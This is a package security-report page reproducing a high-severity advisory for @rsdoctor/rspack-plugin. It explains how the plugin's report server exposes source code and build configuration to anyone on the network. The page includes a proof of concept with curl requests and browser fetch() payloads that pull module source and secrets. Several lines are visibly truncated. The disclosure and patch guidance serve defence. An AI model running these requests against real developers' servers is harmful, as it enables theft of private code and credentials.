npm package report

Is @rsdoctor/rspack-plugin safe?

1 known vulnerability, worst severity HIGH.

// reach

1 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


      cvss
      0.0
      high

      severity band, no base score published

      epss
      not scored

      chance of exploitation in 30 days

      xyz score
      0.0
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-jmg2-rcxh-w8q3, the advisory selected below

      // 1 advisories

      GHSA-jmg2-rcxh-w8q3

      HIGHCVE-2026-61782
      // summary

      The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: ). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.

      // details

      Root cause: server binds to all interfaces with no authentication and no key allowlist.

      The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:

      1. Server binds to 0.0.0.0 (all interfaces)

      packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.

      // packages/utils/src/build/server.ts:83,107
      server.listen(port, () => {   // no host → 0.0.0.0
        resolve(res);
      });

      2. Wildcard CORS enabled unconditionally

      packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: explicitly on every API response, allowing cross-origin browser requests from any domain.

      // packages/sdk/src/sdk/server/index.ts:106
      this.app.use(cors());
      // :203
      res.setHeader('Access-Control-Allow-Origin', '*');
      res.setHeader('Access-Control-Allow-Credentials', 'true');

      3. POST /api/data/key registered with no authentication middleware

      packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.

      // packages/sdk/src/sdk/server/apis/data.ts:6,13,29
      @Router.post(SDK.ServerAPI.API.LoadDataByKey)
      public async loadDataByKey() {
        let { key } = req.body as SDK.ServerAPI.InferRequestBodyType;
        const data = await this.loadData(key);
        return data;
      }

      4. key is passed to getStoreData() without an allowlist

      packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.

      // packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
      const data = this.ctx.sdk.getStoreData();
      let res = data[key];
      if (key.includes(sep)) {
        res = key.split(sep).reduce((t, k) => t[k], data);
      }
      return res;

      Source-to-sink data flow:

      | Step | Location | Description | |------|----------|-------------| | 1 | packages/rspack-plugin/src/plugin.ts:111 | Plugin bootstraps the SDK server during build | | 2 | packages/core/src/inner-plugins/utils/config.ts:98,110–115 | disableClientServer defaults to false; server starts in all non-CI builds | | 3 | packages/utils/src/build/server.ts:83,107 | HTTP server created and bound to 0.0.0.0 | | 4 | packages/sdk/src/sdk/server/index.ts:106,203 | Wildcard CORS applied unconditionally | | 5 | packages/sdk/src/sdk/server/apis/data.ts:6,13,29 | Attacker key accepted from request body | | 6 | packages/sdk/src/sdk/server/apis/base.ts:29,36,39 | key indexes sdk.getStoreData() with no allowlist | | 7 | packages/sdk/src/sdk/sdk/index.ts:487,491 | moduleCodeMap getter calls moduleGraph.toCodeData() | | 8 | packages/graph/src/graph/module-graph/graph.ts:464–469 | toCodeData() returns all module source objects | | 9 | packages/graph/src/graph/module-graph/module.ts:248–250 | Each module exposes source, transformed, and parsedSource | | 10 | packages/sdk/src/sdk/server/router.ts:119,125 | Serialized result written to HTTP response |

      Default configuration ensures source code is captured:

      packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.

      // original poc

      Environment setup:

      # Create and enter a temporary project directory
      mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
      pnpm init
      
      # Install the vulnerable version
      pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11
      
      # Create a source file embedding a secret
      mkdir src
      cat > src/index.js  rspack.config.js :3717/index.html

      Exploit (from any host on the same LAN, no authentication):

      # Primary probe: exfiltrate all module source code
      curl -s "http://:/api/data/key" \
        -H 'Content-Type: application/json' \
        --data '{"key":"moduleCodeMap"}'
      # Response: full source code of every compiled module, including secrets

      Expected response (excerpt):

      {
        "...": "...",
        "source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
        "...": "..."
      }

      Secondary probe: exfiltrate build configuration and local paths:

      curl -s "http://:/api/data/key" \
        -H 'Content-Type: application/json' \
        --data '{"key":"configs"}'
      # Response: 9,278 bytes of serialized build configuration including absolute file paths

      Automated PoC (Docker-based, self-contained reproduction):

      The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:

      ============================================================
      VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
      ============================================================
      [*] Detected Rsdoctor server on port: 3717 (after 3s)
      [*] Running PoC exploit against http://127.0.0.1:3717 ...
      [*] Target URL  : http://127.0.0.1:3717/api/data/key
      [*] Payload     : {"key": "moduleCodeMap"}
      [*] Auth header : (none)
      [+] HTTP status  : 200
      [+] Response size: 738 bytes
      [+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
      [+] Context around secret:
          ...NEVER be able to read this content via an unauthenticated HTTP API.
      const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
      console.log(RSDOCTOR_SECRET_MARKER);
      module.exports = { secret: RSDOCTOR_SECRET_MARKER };
      ...
      [PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
      [+] Secondary probe (key=configs) status: 200, size: 9,278 bytes

      Recommended patch:

      --- a/packages/utils/src/build/server.ts
      +++ b/packages/utils/src/build/server.ts
      -export async function createServer(port: number): Promise {
      +    server.listen(port, host, () => {
             resolve(res);
           });
      --- a/packages/sdk/src/sdk/server/index.ts
      +++ b/packages/sdk/src/sdk/server/index.ts
         public get host(): string {
      -    const host = getLocalIpAddress();
      -    return host;
      +    return '127.0.0.1';
         }
      -    this._server = await Server.createServer(port);
      +    this._server = await Server.createServer(port, this.host);
      -    this.app.use(cors());
      -          res.setHeader('Access-Control-Allow-Origin', '*');
      -          res.setHeader('Access-Control-Allow-Credentials', 'true');
      // minimal browser-based poc

      A malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to 127.0.0.1 or localhost.

      fetch('http://127.0.0.1:/api/data/key', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({
          key: 'moduleCodeMap',
        }),
      })
        .then((res) => res.json())
        .then(console.log);

      If the report server is reachable over the local network, an attacker may also target the victim machine's LAN address:

      fetch('http://:/api/data/key', {
      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      High
      Integrity
      None
      Availability
      None

      Checked 2026-09-25 at 16:50 UTC. The most recent advisory here was published 2026-09-24. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.
      Is @rsdoctor/rspack-plugin safe? npm package security report | CyberXYZ